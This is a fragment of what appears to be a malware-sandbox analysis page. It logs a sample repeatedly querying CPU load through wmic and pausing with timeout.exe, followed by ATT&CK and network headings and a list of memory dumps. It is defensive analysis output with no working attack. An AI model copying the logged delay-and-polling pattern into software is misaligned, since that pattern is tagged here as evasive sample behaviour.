C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1960-4-0x000007FEF57AE000-0x000007FEF57AF000-memory.dmpFilesize
4KB
-
memory/1960-5-0x000000001B740000-0x000000001BA22000-memory.dmpFilesize
2.9MB
-
memory/1960-6-0x0000000002050000-0x0000000002058000-memory.dmpFilesize
32KB
-
memory/1960-7-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmpFilesize
9.6MB
-
memory/1960-8-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmpFilesize
9.6MB
-
memory/1960-9-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmpFilesize
9.6MB
-
memory/1960-10-0x000007FEF54F0000-0x000007FEF5E8D000-memory.dmpFilesize
9.6MB